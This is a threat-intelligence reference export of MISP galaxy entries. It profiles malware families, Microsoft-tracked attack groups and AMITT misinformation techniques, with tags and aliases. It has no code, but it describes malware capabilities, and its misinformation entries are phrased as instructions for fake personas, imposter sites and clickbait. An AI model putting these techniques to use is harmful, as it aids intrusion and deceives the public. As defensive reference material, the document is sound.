Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the "Five Poisons" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.

# Retefe (Windows)

Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It's primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic.

The tag is: *misp-galaxy:malpedia="Retefe (Windows)"*

Retefe (Windows) is also known as:

- Tsukuba
- Werdlod

## Rovnix

Rovnix is a bootkit and consists of a driver loader (in the VBR) and the drivers (32bit, 64bit) themselves. It is part of the Carberp source code leak (<https://github.com/nyx0/Rovnix>). Rovnix has been used to protect Gozi ISFB, ReactorBot and Rerdom (at least).

The tag is: *misp-galaxy:malpedia="Rovnix"*

Rovnix is also known as:

- BkLoader
- Cidox

- Mayachok

## ServHelper

ServHelper is written in Delphi and according to ProofPoint best classified as a backdoor.

ProofPoint noticed two distinct variant - "tunnel" and "downloader" (citation): "The 'tunnel' variant has more features and focuses on setting up reverse SSH tunnels to allow the threat actor to access the infected host via Remote Desktop Protocol (RDP). Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to 'hijack' legitimate user accounts or their web browser profiles and use them as they see fit. The 'downloader' variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader."

The tag is: *misp-galaxy:malpedia="ServHelper"*

# SmokeLoader

The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.

The tag is: *misp-galaxy:malpedia="SmokeLoader"*

SmokeLoader is also known as:

- Dofail

## SPACESHIP

SPACESHIP searches for files with a specified set of file extensions and copies them to a removable drive. FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive, which could be used to infect another victim computer, including an air-gapped computer. SPACESHIP is then used to steal documents from the air-gapped system, copying them to a removable drive inserted into the SPACESHIP-infected system

The tag is: *misp-galaxy:malpedia="SPACESHIP"*

SPACESHIP is also known as:

# Sysraw Stealer

Sysraw stealer got its name because at some point, it was started as "ZSysRaw\sysraw.exe". PDB strings suggest the name "Clipsa" though. First stage connects to /WPCoreLog/, the second one to

/WPSecurity/. Its behavior suggest that it is an info stealer. It creates a rather large amount of files in a subdirectory (e.g. data) named "1?[-+].dat" and POSTs them.

The tag is: *misp-galaxy:malpedia="Sysraw Stealer"*

Sysraw Stealer is also known as:

- Clipsa

*Table 1899. Table References*

## TeamBot

Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer. This is achieved by sideloading another DLL among the legit TeamViewer.

# TinyNuke

TinyNuke (aka Nuclear Bot) is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. It was for sale on underground marketplaces for \$2500 in 2016. The program's author claimed the malware was written from scratch, but that it functioned similarly to the Zeus banking trojan in that it could steal passwords and inject arbitrary content when victims visited banking Web sites. However, he then proceeded to destroy his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.

The tag is: *misp-galaxy:malpedia="TinyNuke"*

TinyNuke is also known as:

- MicroBankingTrojan
- Nuclear Bot

- NukeBot
- Xbot

## WebMonitor RAT

On its website, Webmonitor RAT is described as 'a very powerful, user-friendly, easy-to-setup and state-of-the-art monitoring tool. Webmonitor is a fully native RAT, meaning it will run on all Windows versions and languages starting from Windows XP and up, and perfectly compatible with all crypters and protectors.' Unit42 notes in their analysis that it is offered as C2-as-a-service and raises the controversial aspect that the builder allows to create client binaries that will not show any popup or dialogue during installation or while running on a target system.

The tag is: *misp-galaxy:malpedia="WebMonitor RAT"*

## Xwo

In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.

## YoungLotus

Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.

PE timestamps suggest that it came into existence in the second half of 2014.

Some versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).

# ZeroEvil

ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.

It first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs\_gate.php (plugin=, report=). So far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.

The ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze\_core.DLL (Mutex) and ze\_autorun.DLL (Run-Key).

The tag is: *misp-galaxy:malpedia="ZeroEvil"*

ZeroEvil is also known as:

## Zeus OpenSSL

This family describes the Zeus-variant that includes a version of OpenSSL and usually is downloaded by Zloader.

In June 2016, the version 1.5.4.0 (PE timestamp: 2016.05.11) appeared, downloaded by Zloader (known as DEloader at that time). OpenSSL 1.0.1p is statically linked to it, thus its size is roughly 1.2 MB. In subsequent months, that size increased up to 1.6 MB. In January 2017, with version 1.14.8.0, OpenSSL 1.0.2j was linked to it, increasing the size to 1.8 MB. Soon after also in January 2017, with version v1.15.0.0 the code was obfuscated, blowing up the size of the binary to 2.2 MB.

Please note that IBM X-Force decided to call win.zloader/win.zeus\_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus\_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

The tag is: *misp-galaxy:malpedia="Zeus OpenSSL"*

Zeus OpenSSL is also known as:

- XSphinx

## Zeus Sphinx

This family describes the vanilla Zeus-variant that includes TOR (and Polipo proxy). It has an almost 90% overlap with Zeus v2.0.8.9. Please note that IBM X-Force decided to call win.zloader/win.zeus\_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus\_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

## Zloader

This family describes the (initially small) loader, which downloads Zeus OpenSSL.

In June 2016, a new loader was dubbed DEloader by Fortinet. It has some functions borrowed from Zeus 2.0.8.9 (e.g. the versioning, nrv2b, binstorage-labels), but more importantly, it downloaded a Zeus-like banking trojan (→ Zeus OpenSSL). Furthermore, the loader shared its versioning with the Zeus OpenSSL it downloaded. The initial samples from May 2016 were small (17920 bytes). At some point, visualEncrypt/Decrypt was added, e.g. in v1.11.0.0 (September 2016) with size 27648 bytes. In January 2017 with v1.15.0.0, obfuscation was added, which blew the size up to roughly 80k, and the loader became known as Zloader aka Terdot. These changes may be related to the Moskalvzapoe Distribution Network, which started the distribution of it at the same time.

Please note that IBM X-Force decided to call win.zloader/win.zeus\_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus\_openssl - the X to refer to IBM X-Force.

The tag is: *misp-galaxy:malpedia="Zloader"*

Zloader is also known as:

- DELoader
- Terdot

# Ragnarok

According to Bleeping Computer, the ransomware is used in targeted attacks against unpatched Citrix servers. It excludes Russian and Chinese targets using the system's Language ID for filtering. It also tries to disable Windows Defender and has a number of UNIX filepath references in its strings. Encryption method is AES using a dynamically generated key, then bundling this key up via RSA.

The tag is: *misp-galaxy:malpedia="Ragnarok"*

Ragnarok is also known as:

# Microsoft Activity Group actor

Activity groups as described by Microsoft.

Microsoft Activity Group actor is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

## authors

Various

# PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: *misp-galaxy:microsoft-activity-group="PROMETHIUM"*

PROMETHIUM has relationships with:

- similar: *misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:threat-actor="PROMETHIUM"* with *estimative-language:likelihood-probability="likely"*

# NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor's characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: *misp-galaxy:microsoft-activity-group="NEODYMIUM"*

NEODYMIUM has relationships with:

- similar: *misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:threat-actor="NEODYMIUM"* with *estimative-language:likelihood-probability="likely"*

# STRONTIUM

STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims' computer.

The tag is: *misp-galaxy:microsoft-activity-group="STRONTIUM"*

STRONTIUM is also known as:

- APT 28
- APT28
- Pawn Storm
- Fancy Bear
- Sednit
- TsarTeam
- TG-4127

- Group-4127
- Sofacy
- Grey-Cloud

STRONTIUM has relationships with:

## PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group's persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: `misp-galaxy:microsoft-activity-group="PLATINUM"`

PLATINUM has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="PLATINUM - G0068"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:threat-actor="PLATINUM"` with `estimative-language:likelihood-probability="likely"`

## BARIUM

Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware, supporting infrastructure, online personas, victimology, and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity. Microsoft labels activity groups using code names derived from elements in the periodic table. In the case of this malware, the activity groups strongly associated with Winnti are BARIUM and LEAD. But even though they share the use of Winnti, the BARIUM and LEAD activity groups are involved in very different intrusion scenarios. BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms. Once BARIUM has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing

macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant— notable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winnti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred.

The tag is: *misp-galaxy:microsoft-activity-group="BARIUM"*

*Table 2072. Table References*

## LEAD

In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few years, LEAD's victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, LEAD's objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD's attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines.

The tag is: *misp-galaxy:microsoft-activity-group="LEAD"*

## GALLIUM

Microsoft Threat Intelligence Center (MSTIC) is raising awareness of the ongoing activity by a group we call GALLIUM, targeting telecommunication providers. When Microsoft customers have been targeted by this activity, we notified them directly with the relevant information they need to protect themselves. By sharing the detailed methodology and indicators related to GALLIUM activity, we're encouraging the security community to implement active defenses to secure the broader ecosystem from these attacks. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss. Once persistence is established in a network, GALLIUM uses common techniques and tools like Mimikatz to obtain credentials that allows for lateral movement across the target network. Within compromised networks, GALLIUM makes no attempt to obfuscate their intent and are known to use common versions of malware and publicly available toolkits with small modifications. The operators rely on low cost and easy to replace infrastructure that consists of dynamic-DNS domains and regularly reused hop points. This activity from GALLIUM has been identified predominantly through 2018 to mid-2019. GALLIUM is still active; however, activity levels have dropped when compared to what was previously observed.

The tag is: *misp-galaxy:microsoft-activity-group="GALLIUM"*

GALLIUM is also known as:

- Operation Soft Cell

GALLIUM has relationships with:

- similar: `misp-galaxy:threat-actor="Operation Soft Cell"` with `estimative-language:likelihood-probability="likely"`

## PARINACOTA

One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group's goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA's attacks typically brute force their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

The tag is: `misp-galaxy:microsoft-activity-group="PARINACOTA"`

PARINACOTA has relationships with:

- uses: `misp-galaxy:ransomware="Wadhrama"` with `estimative-language:likelihood-probability="likely"`

## GADOLINIUM

GADOLINIUM is a nation-state activity group that has been compromising targets for nearly a decade with a worldwide focus on the maritime and health industries. As with most threat groups, GADOLINIUM tracks the tools and techniques of security practitioners looking for new techniques they can use or modify to create new exploit methods. Historically, GADOLINIUM used custom-crafted malware families that analysts can identify and defend against. In response, over the last year GADOLINIUM has begun to modify portions of its toolchain to use open-source toolkits to obfuscate their activity and make it more difficult for analysts to track. Because cloud services frequently offer a free trial or one-time payment (PayGo) account offerings, malicious actors have found ways to take advantage of these legitimate business offerings. By establishing free or PayGo accounts, they can use cloud-based technology to create a malicious infrastructure that can be established quickly then taken down before detection or given up at little cost.

The tag is: *misp-galaxy:microsoft-activity-group="GADOLINIUM"*

Table 2078. Table References

## Misinformation Pattern

AM!TT Technique.

Misinformation Pattern is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

**authors**

misinfosecproject

## 5Ds (dismiss, distort, distract, dismay, divide)

Nimmo's "4Ds of propaganda": dismiss, distort, distract, dismay (MisinfosecWG added divide in 2019). Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

The tag is: *misp-galaxy:amitt-misinformation-pattern="5Ds (dismiss, distort, distract, dismay, divide)"*

Table 2079. Table References

Links

## Facilitate State Propaganda

Organize citizens around pro-state messaging. Paid or volunteer groups coordinated to push state propaganda (examples include 2016 Diba Facebook Expedition, coordinated to overcome China's Great Firewall to flood the Facebook pages of Taiwanese politicians and news agencies with a pro-PRC message).

The tag is: *misp-galaxy:amitt-misinformation-pattern="Facilitate State Propaganda"*

Table 2080. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0002.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0002.md)

## Leverage Existing Narratives

Use or adapt existing narrative themes, where narratives are the baseline stories of a target audience. Narratives form the bedrock of our worldviews. New information is understood through a process firmly grounded in this bedrock. If new information is not consistent with the prevailing narratives of an audience, it will be ignored. Effective campaigns will frame their misinformation in the context of these narratives. Highly effective campaigns will make extensive use of audience-appropriate archetypes and meta-narratives throughout their content creation and amplification practices. Examples include midwesterners are generous, Russia is under attack from outside.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Leverage Existing Narratives"*

Table 2081. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0003.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0003.md)

## Competing Narratives

Advance competing narratives connected to same issue ie: on one hand deny incident while at same time expresses dismiss. MH17 (example) "Russian Foreign Ministry again claimed that "absolutely groundless accusations are put forward against the Russian side, which are aimed at discrediting Russia in the eyes of the international community" (deny); "The Dutch MH17 investigation is biased, anti-Russian and factually inaccurate" (dismiss).

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives.

Competing narratives, as such, are especially useful in the "firehose of misinformation" approach.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Competing Narratives"*

*Table 2082. Table References*

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0004.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0004.md)

## Center of Gravity Analysis

Recon/research to identify "the source of power that provides moral or physical strength, freedom of action, or will to act." Thus, the center of gravity is usually seen as the "source of strength". Includes demographic and network analysis of communities

The tag is: *misp-galaxy:amitt-misinformation-pattern="Center of Gravity Analysis"*

*Table 2083. Table References*

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0005.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0005.md)

## Create Master Narratives

The promotion of beneficial master narratives is perhaps the most effective method for achieving long-term strategic narrative dominance. From a "whole of society" perspective the promotion of the society's core master narratives should occupy a central strategic role. From a misinformation campaign / cognitive security perspective the tactics around master narratives center more precisely on the day-to-day promotion and reinforcement of this messaging. In other words, beneficial, high-coverage master narratives are a central strategic goal and their promotion constitutes an ongoing tactical struggle carried out at a whole-of-society level.

By way of example, major powers are promoting master narratives such as: \* "Huawei is determined to build trustworthy networks" \* "Russia is the victim of bullying by NATO powers" \* "USA is guided by its founding principles of liberty and egalitarianism"

Tactically, their promotion covers a broad spectrum of activities both on- and offline.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create Master Narratives"*

*Table 2084. Table References*

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0006.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0006.md)

## Create fake Social Media Profiles / Pages / Groups

Create key social engineering assets needed to amplify content, manipulate algorithms, fool public and/or specific incident/campaign targets.

Computational propaganda depends substantially on false perceptions of credibility and acceptance. By creating fake users and groups with a variety of interests and commitments, attackers can ensure that their messages both come from trusted sources and appear more widely adopted than they actually are.

Examples: Ukraine elections (2019) circumvent Facebook’s new safeguards by paying Ukrainian citizens to give a Russian agent access to their personal pages. EU Elections (2019) Avaaz reported more than 500 suspicious pages and groups to Facebook related to the three-month investigation of Facebook disinformation networks in Europe. Mueller report (2016) The IRA was able to reach up to 126 million Americans on Facebook via a mixture of fraudulent accounts, groups, and advertisements, the report says. Twitter accounts it created were portrayed as real American voices by major news outlets. It was even able to hold real-life rallies, mobilizing hundreds of people at a time in major cities like Philadelphia and Miami.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake Social Media Profiles / Pages / Groups"*

Table 2085. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0007.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0007.md</a>

## Create fake or imposter news sites

Modern computational propaganda makes use of a cadre of imposter news sites spreading globally. These sites, sometimes motivated by concerns other than propaganda—for instance, click-based revenue—often have some superficial markers of authenticity, such as naming and site-design. But many can be quickly exposed with reference to their ownership, reporting history and advertising details. A prominent case from the 2016 era was the *Denver Guardian*, which purported to be a local newspaper in Colorado and specialized in negative stories about Hillary Clinton.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake or imposter news sites"*

Table 2086. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0008.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0008.md</a>

## Create fake experts

Stories planted or promoted in computational propaganda operations often make use of experts fabricated from whole cloth, sometimes specifically for the story itself. For example, in the Jade Helm conspiracy theory promoted by SVR in 2015, a pair of experts—one of them naming himself a “Military Intelligence Analyst / Russian Regional CME” and the other a “Geopolitical Strategist, Journalist & Author”—pushed the story heavily on LinkedIn.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake experts"*

Table 2087. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0009.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0009.md)

## Cultivate useful idiots

Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state's own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as "useful idiots" or "unwitting agents".

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cultivate useful idiots"*

Table 2088. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0010.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0010.md)

## Hijack legitimate account

Hack or take over legitimate accounts to distribute misinformation or damaging content. Examples include Syrian Electronic Army (2013) series of false tweets from a hijacked Associated Press Twitter account claiming that President Barack Obama had been injured in a series of explosions near the White House. The false report caused a temporary plunge of 143 points on the Dow Jones Industrial Average.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Hijack legitimate account"*

Table 2089. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0011.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0011.md)

## Use concealment

Use anonymous social media profiles. Examples include page or group administrators, masked "whois" website directory data, no bylines connected to news article, no masthead connect to news websites.

Example is 2016 @TEN\_GOP profile where the actual Tennessee Republican Party tried unsuccessfully for months to get Twitter to shut it down, and 2019 Endless Mayfly is an Iran-aligned network of inauthentic personas and social media accounts that spreads falsehoods and amplifies narratives critical of Saudi Arabia, the United States, and Israel.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use concealment"*

Table 2090. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0012.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0012.md)

## Create fake websites

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake websites"*

Table 2091. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0013.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0013.md)

## Create funding campaigns

Generate revenue through online funding campaigns. e.g. Gather data, advance credible persona via Gofundme; Patreon; or via fake website connecting via PayPal or Stripe. (Example 2016) #VaccinateUS Gofundme campaigns to pay for Targetted facebook ads (Larry Cook, targeting Washington State mothers, \$1,776 to boost posts over 9 months).

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create funding campaigns"*

Table 2092. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0014.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0014.md)

## Create hashtag

Many incident-based campaigns will create a hashtag to promote their fabricated event (e.g. #ColumbianChemicals to promote a fake story about a chemical spill in Louisiana).

Creating a hashtag for an incident can have two important effects: 1. Create a perception of reality around an event. Certainly only "real" events would be discussed in a hashtag. After all, the event has a name! 2. Publicize the story more widely through trending lists and search behavior

Asset needed to direct/control/manage "conversation" connected to launching new incident/campaign with new hashtag for applicable social media sites ie: Twitter, LinkedIn)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create hashtag"*

Table 2093. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0015.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0015.md)

## Clickbait

Create attention grabbing headlines (outrage, doubt, humor) required to drive traffic & engagement. (example 2016) "Pope Francis shocks world, endorses Donald Trump for president." (example 2016) "FBI director received millions from Clinton Foundation, his brother's law firm does Clinton's taxes". This is a key asset

The tag is: *misp-galaxy:amitt-misinformation-pattern="Clickbait"*

Table 2094. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0016.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0016.md)

## Promote online funding

Drive traffic/engagement to funding campaign sites; helps provide measurable metrics to assess conversion rates

The tag is: *misp-galaxy:amitt-misinformation-pattern="Promote online funding"*

Table 2095. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0017.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0017.md)

## Paid targeted ads

Create or fund advertisements targeted at specific populations

The tag is: *misp-galaxy:amitt-misinformation-pattern="Paid targeted ads"*

Table 2096. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0018.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0018.md)

## Generate information pollution

Flood social channels; drive traffic/engagement to all assets; create aura/sense/perception of pervasiveness/consensus (for or against or both simultaneously) of an issue or topic. "Nothing is true, but everything is possible." Akin to astroturfing campaign.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Generate information pollution"*

Table 2097. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0019.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0019.md)

## Trial content

Iteratively test incident performance (messages, content etc), e.g. A/B test headline/content engagement metrics; website and/or funding campaign conversion rates

The tag is: *misp-galaxy:amitt-misinformation-pattern="Trial content"*

*Table 2098. Table References*

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0020.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0020.md</a>

## Memes

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

